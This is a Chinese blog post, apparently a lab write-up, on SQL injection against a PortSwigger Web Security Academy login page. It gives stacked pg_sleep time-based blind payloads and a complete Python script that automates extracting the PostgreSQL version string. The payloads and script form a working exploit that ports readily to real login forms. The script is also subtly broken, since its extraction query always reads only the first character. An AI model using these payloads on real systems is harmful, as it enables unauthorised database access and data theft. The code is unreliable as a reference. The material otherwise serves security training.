sql注入从0到入院(P2)

admin 2023年12月20日10:30:05评论17 views字数 2849阅读9分29秒阅读模式
各位看官老爷天测试的时候发现一个事情,如果笔记仅限于靶场答案,那这样的笔记没什么意义,所以后续的文章我会突破传统的靶场操作,用自己的思路针对靶场的环境进行更深度的漏洞利用。

靶场二 登录注入之无回显时间盲注
靶场链接:https://portswigger.net/web-security/sql-injection/lab-login-bypass
1.靶场很简单,就是登录页面存在注入,只要在用户名后面加上两个减号就可以实现任意账号登录

sql注入从0到入院(P2)

但是,这是一个注入漏洞啊,怎么可能只实现任意账号登录的危害呢,出数据才是我们的目标,由于没有回显,只能使用时间盲注。
2.使用堆叠睡眠一下

' ; SELECT pg_sleep(5) --

sql注入从0到入院(P2)

sql注入从0到入院(P2)

3.开启时间盲注,为了简化把它封装成python脚本
3.1获取数据库版本号长度

#先检测长度是否>某个数字,缩小长度范围len_sqli="' ; SELECT CASE WHEN LENGTH(VERSION()) > %s THEN pg_sleep(5) ELSE pg_sleep(0) END  --"

为了缩小遍历长度的次数,这里依旧是用减半方法去判断

【' ; SELECT CASE WHEN LENGTH(VERSION()) > 200 THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 没命中...' ; SELECT CASE WHEN LENGTH(VERSION()) > 150 THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 没命中...【' ; SELECT CASE WHEN LENGTH(VERSION()) > 130 THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 成功命中..' ; SELECT CASE WHEN LENGTH(VERSION()) > 140 THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 没命中...【' ; SELECT CASE WHEN LENGTH(VERSION()) > 135  THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 没命中...' ; SELECT CASE WHEN LENGTH(VERSION()) > 132 THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 成功命中...

从上可以看出区间是132-135,那么就可以设置一个递减函数length_search实现精确定位了

def length_search(high,payload):    '''定位字符串长度'''    while high:        print("当前长度:",high)        if get_str_len(high,payload):            return high        high=high-1

get_version.py 完整代码

import requests,time,re

#靶场域名HOST="https://0a36000c0480d6798385960e00490037.web-security-academy.net/"



def login(sec,host,data):    start=time.time()    headers={'Content-Length':'94','Content-Type':'application/x-www-form-urlencoded'}    sec.post(host+"login",data=data,headers=headers)    if time.time()-start>5:        return True    else:        return False    

def check_version(number):    '''获取版本号'''    username="' ; SELECT CASE WHEN ASCII(SUBSTRING(VERSION() FROM 1 FOR 1)) = %s THEN pg_sleep(5) ELSE pg_sleep(0) END  --"%number

    sec=requests.session()    html=sec.get(HOST+"login").text    csrf_token=re.findall('"csrf" value="(.*?)">',html)[0]    data=f'csrf={csrf_token}&username={username}&password=asdasd'    if login(sec,HOST,data):        print(f"【{username}】 成功命中...")        return True    else:        print("没命中...")        return False    def get_str_len(number,payload):    '''获取要注入的内容长度'''

    username=payload%number    sec=requests.session()    html=sec.get(HOST+"login").text    csrf_token=re.findall('"csrf" value="(.*?)">',html)[0]    data=f'csrf={csrf_token}&username={username}&password=asdasd'    if login(sec,HOST,data):        print(f"【{username}】 成功命中...")        return True    else:        print(f"【{username}】 没命中...")        return False    

def length_search(high,payload):    '''定位字符串长度'''    while high:        print("当前长度:",high)        if get_str_len(high,payload):            return high        high=high-1



sqli_result=''

#先检测长度是否>某个数字,缩小长度范围len_sqli="' ; SELECT CASE WHEN LENGTH(VERSION()) > %s THEN pg_sleep(5) ELSE pg_sleep(0) END  --"get_str_len(134,len_sqli)



#根据上面确定的设置一个10浮动以内的数字开启自动遍历len_sqli="' ; SELECT CASE WHEN LENGTH(VERSION()) = %s THEN pg_sleep(5) ELSE pg_sleep(0) END  --"str_len = length_search(135,len_sqli)print("长度检测命中结果:",str_len)for i in range(str_len):    for j in range(1,128):        print("当前:",j)        if check_version(j):            sqli_result+=chr(j)            break

print("注出数据库版本号:",sqli_result)

sql注入从0到入院(P2)

Tips:SELECT CASE WHEN中的then和else的数据类型必须一致,否则会报错。本篇完~

原文始发于微信公众号(森柒柒):sql注入从0到入院(P2)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月20日10:30:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sql注入从0到入院(P2)https://cn-sec.com/archives/2319582.html

发表评论

匿名网友 填写信息